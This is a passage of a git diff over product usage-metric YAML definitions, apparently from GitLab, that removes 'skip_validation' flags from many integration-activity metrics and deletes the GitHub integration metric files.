index ba732a12259..6df170a48e0 100644
--- a/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
index 294c557f9b1..f4dc9dcbc72 100644
--- a/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175753_projects_discord_active.yml b/config/metrics/counts_all/20210216175753_projects_discord_active.yml
index ab1e187d697..b564bc70e73 100644
--- a/config/metrics/counts_all/20210216175753_projects_discord_active.yml
+++ b/config/metrics/counts_all/20210216175753_projects_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175755_groups_discord_active.yml b/config/metrics/counts_all/20210216175755_groups_discord_active.yml
index 8684be04c4f..fb24c471210 100644
--- a/config/metrics/counts_all/20210216175755_groups_discord_active.yml
+++ b/config/metrics/counts_all/20210216175755_groups_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175756_templates_discord_active.yml b/config/metrics/counts_all/20210216175756_templates_discord_active.yml
index f66e3435221..e5a1082ca20 100644
--- a/config/metrics/counts_all/20210216175756_templates_discord_active.yml
+++ b/config/metrics/counts_all/20210216175756_templates_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175758_instances_discord_active.yml b/config/metrics/counts_all/20210216175758_instances_discord_active.yml
index 0dc37b7100c..039919523fe 100644
--- a/config/metrics/counts_all/20210216175758_instances_discord_active.yml
+++ b/config/metrics/counts_all/20210216175758_instances_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml b/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
index b5ef624a9da..b897c248629 100644
--- a/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
+++ b/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml b/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
index a6d4c8385f3..3cdb961ba2f 100644
--- a/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
+++ b/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml b/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
index f8d53e6620e..cd9459478db 100644
--- a/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml b/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
index 3dc182faa0c..c5487775c57 100644
--- a/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml b/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
index 3a45cd3aba0..09ac9cacefa 100644
--- a/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml b/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
index fd6581bff6a..c3a77a9c577 100644
--- a/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml b/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
index f9d8ad12795..130072f42d1 100644
--- a/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml b/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
index c876ef22570..74e6d5c41bd 100644
--- a/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml b/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
index 5dea679b5b0..8da08899b88 100644
--- a/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml b/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
index 4bfbefe0b7d..0c6bdeae9b4 100644
--- a/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml b/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
index bc6764c1d17..93d77a19008 100644
--- a/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml b/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
index 00c04e32b09..c526b9f18e9 100644
--- a/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml b/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
index ca2e0062f75..02581759ec3 100644
--- a/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml b/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
index 7d2308cd39d..a49c9a88048 100644
--- a/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml b/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
index e570fdb964c..fa19cf0e9be 100644
--- a/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml b/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
index 4d680edf42a..6ee99ca89da 100644
--- a/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml b/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
index 4efd0be8673..6d8b451b308 100644
--- a/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml b/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
index c435eed9dee..a83e2f27a58 100644
--- a/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml b/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
index 4c139e6ee8d..84836a95ae3 100644
--- a/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml b/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
index fe18e836df2..f7ee7624824 100644
--- a/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml b/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
index e8d724b51b3..4520ef6b869 100644
--- a/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml b/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
index 0d9f9a72cd3..d678e3174df 100644
--- a/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml b/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
index f1715119217..f4765aa34f3 100644
--- a/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml b/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
index e62259c965c..89a862d4cc8 100644
--- a/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml b/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
index 53d09e2dab1..836ecbc0576 100644
--- a/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml b/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
index 645d618705b..8af2e0733ac 100644
--- a/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175848_projects_github_active.yml b/config/metrics/counts_all/20210216175848_projects_github_active.yml
deleted file mode 100644
index 6145fc599b9..00000000000
--- a/config/metrics/counts_all/20210216175848_projects_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.projects_github_active
-description: Count of projects with active integrations for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175850_groups_github_active.yml b/config/metrics/counts_all/20210216175850_groups_github_active.yml
deleted file mode 100644
index 9a43b772447..00000000000
--- a/config/metrics/counts_all/20210216175850_groups_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.groups_github_active
-description: Count of groups with active integrations for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175851_templates_github_active.yml b/config/metrics/counts_all/20210216175851_templates_github_active.yml
deleted file mode 100644
index f6ceed1233c..00000000000
--- a/config/metrics/counts_all/20210216175851_templates_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.templates_github_active
-description: Count of active service templates for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175853_instances_github_active.yml b/config/metrics/counts_all/20210216175853_instances_github_active.yml
deleted file mode 100644
index 8150c0ec5a1..00000000000
--- a/config/metrics/counts_all/20210216175853_instances_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.instances_github_active
-description: Count of active instance-level integrations for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml b/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml
deleted file mode 100644
index 6f5f366e72b..00000000000
--- a/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.projects_inheriting_github_active
-description: Count of active projects inheriting integrations for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml b/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml
deleted file mode 100644
index 545fccc107e..00000000000
--- a/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: counts.groups_inheriting_github_active
-description: Count of active groups inheriting integrations for GitHub
-product_section: dev
-product_stage: create
-product_group: group::ecosystem
-product_category: integrations
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
index d61e94c0df8..63c913a65a0 100644
--- a/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
index 0a23a43cdf3..ae34972f2e9 100644
--- a/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
index 21cfa1ebf23..ecfffa98a04 100644
--- a/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
index 4a3febf985a..5227013eb51 100644
--- a/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
index 90773d663df..64e54c864bd 100644
--- a/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
index eda424840eb..3889c6e9a10 100644
--- a/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml b/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
index 32bbcb11c30..e6b0c781cb5 100644
--- a/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml b/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
index 1a8224ba446..4a55850b70d 100644
--- a/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml b/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
index 6b24dedf93a..d022ac8261d 100644
--- a/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml b/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
index 18d5e6f9666..c5460aecb21 100644
--- a/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml b/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
index da9f9df4fb7..5056947f70f 100644
--- a/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml b/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
index 4d4c265d377..2069d8d703b 100644
--- a/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175921_projects_irker_active.yml b/config/metrics/counts_all/20210216175921_projects_irker_active.yml
index 7933389ccc0..d761968d629 100644
--- a/config/metrics/counts_all/20210216175921_projects_irker_active.yml
+++ b/config/metrics/counts_all/20210216175921_projects_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175923_groups_irker_active.yml b/config/metrics/counts_all/20210216175923_groups_irker_active.yml
index f845def2053..caa1d1eae8c 100644
--- a/config/metrics/counts_all/20210216175923_groups_irker_active.yml
+++ b/config/metrics/counts_all/20210216175923_groups_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175924_templates_irker_active.yml b/config/metrics/counts_all/20210216175924_templates_irker_active.yml
index f40cf42f648..e3d8b04f66c 100644
--- a/config/metrics/counts_all/20210216175924_templates_irker_active.yml
+++ b/config/metrics/counts_all/20210216175924_templates_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175926_instances_irker_active.yml b/config/metrics/counts_all/20210216175926_instances_irker_active.yml
index d0f6475446b..b6a7a07e83f 100644
--- a/config/metrics/counts_all/20210216175926_instances_irker_active.yml
+++ b/config/metrics/counts_all/20210216175926_instances_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml b/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
index b805ea65220..2a140890847 100644
--- a/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
+++ b/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml b/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
index 99e624a52e8..4d023a1324c 100644
--- a/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
+++ b/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml b/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
index e16691fa13b..5562d5b3462 100644
--- a/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml b/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
index ccbaa4f96b5..08617343a10 100644
--- a/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml b/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
index badea034cd9..13f0d1547ad 100644
--- a/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml b/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
index 181155322a5..8b03256b5ce 100644
--- a/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml b/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
index 8dbdb6728bb..8726b9bbfb7 100644
--- a/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml b/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
index 7cacd4e5c9c..1e5d400a385 100644
--- a/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175943_projects_jira_active.yml b/config/metrics/counts_all/20210216175943_projects_jira_active.yml
index 90d645da327..4bc46c3ca2a 100644
--- a/config/metrics/counts_all/20210216175943_projects_jira_active.yml
+++ b/config/metrics/counts_all/20210216175943_projects_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175945_groups_jira_active.yml b/config/metrics/counts_all/20210216175945_groups_jira_active.yml
index c4fbc196733..0b8923f669c 100644
--- a/config/metrics/counts_all/20210216175945_groups_jira_active.yml
+++ b/config/metrics/counts_all/20210216175945_groups_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175946_templates_jira_active.yml b/config/metrics/counts_all/20210216175946_templates_jira_active.yml
index 861d83df3ec..be7b2c43d2e 100644
--- a/config/metrics/counts_all/20210216175946_templates_jira_active.yml
+++ b/config/metrics/counts_all/20210216175946_templates_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175948_instances_jira_active.yml b/config/metrics/counts_all/20210216175948_instances_jira_active.yml
index 2d0a7ec85ed..8b10ec30d5f 100644
--- a/config/metrics/counts_all/20210216175948_instances_jira_active.yml
+++ b/config/metrics/counts_all/20210216175948_instances_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml b/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
index 6cf7750a60a..6e3d01b0382 100644
--- a/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
+++ b/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml b/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
index 0f84ed3863e..21148f3b62b 100644
--- a/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
+++ b/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml b/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
index 67eca7e1fe9..dc81192fd9d 100644
--- a/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml b/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
index 30a60716409..1a7a8fb69f6 100644
--- a/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
